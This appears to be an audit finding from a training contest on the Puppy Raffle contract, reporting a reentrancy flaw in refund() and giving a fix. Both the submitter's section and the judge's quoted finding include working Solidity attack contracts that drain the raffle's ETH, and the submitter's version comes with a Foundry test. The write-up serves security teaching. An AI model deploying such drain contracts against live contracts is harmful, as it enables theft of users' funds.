Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Re-entrancy in `PuppyRaffle::refund` function

PuppyRaffle::refund function sends ETH before updating a storage variable, causing a re-entrancy attack

Description

When a player wanted to withdraw from the raffle, they called PuppyRaffle::refund function. But the function update players state variable after sendng eth to the player.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

Occures when a malicious smart contract account entered the raffle

Impact:

Lost of Raffle's entire funds

Proof of Concept

  1. an attacker create a malicious contract

  2. The user enters malicious contract into the raffle

  3. The user then calls drainFunds() function from the malicious contract

  4. the function then calls PuppyRaffle::refund() function and the raffle sends the eth to the malicious contract, triggering the drainFunds() function again through the receive() function

  5. The protocol's funds is drained until it had ETH less than or equal to the entranceFee of the protocol

  6. Malicious contract sends the ETH to the attacker

Add the folowing contract to the test/PuppyRaffleTest.t.sol test suite

contract MaliciousContract {
PuppyRaffle raffle;
address attacker;
constructor(address puppyRaffleAddress) {
raffle = PuppyRaffle(puppyRaffleAddress);
attacker = msg.sender;
}
function drainFunds() public {
if(address(raffle).balance <= 1e18) {
(bool success,) = attacker.call{value: address(this).balance}("");
require(success, "attack failed");
} else {
raffle.refund(raffle.getActivePlayerIndex(address(this)));
}
}
receive() external payable{
drainFunds();
}
}

Then add the following test function into test/PuppyRaffleTest.t.sol::PuppyRaffleTest test suite

function testReentrancy() public playersEntered{
address attacker = makeAddr("attacker");
uint256 attackerBalanceBefore = attacker.balance;
uint256 totalValueLockedInRaffleBeforeAttack = address(puppyRaffle).balance;
vm.prank(attacker);
MaliciousContract badContract = new MaliciousContract(address(puppyRaffle));
address[] memory players = new address[](1);
players[0] = address(badContract);
puppyRaffle.enterRaffle{value: entranceFee}(players);
badContract.drainFunds();
uint256 attackerBalanceAfter = attacker.balance;
uint256 totalValueLockedInRaffleAfterAttack = address(puppyRaffle).balance;
assertEq(attackerBalanceBefore, 0);
assertEq(attackerBalanceAfter, entranceFee * 4);
assertEq(totalValueLockedInRaffleBeforeAttack, entranceFee * 4);
assert(totalValueLockedInRaffleAfterAttack <= entranceFee);
}

Recommended Mitigation

Update the state variable before sending any ETH

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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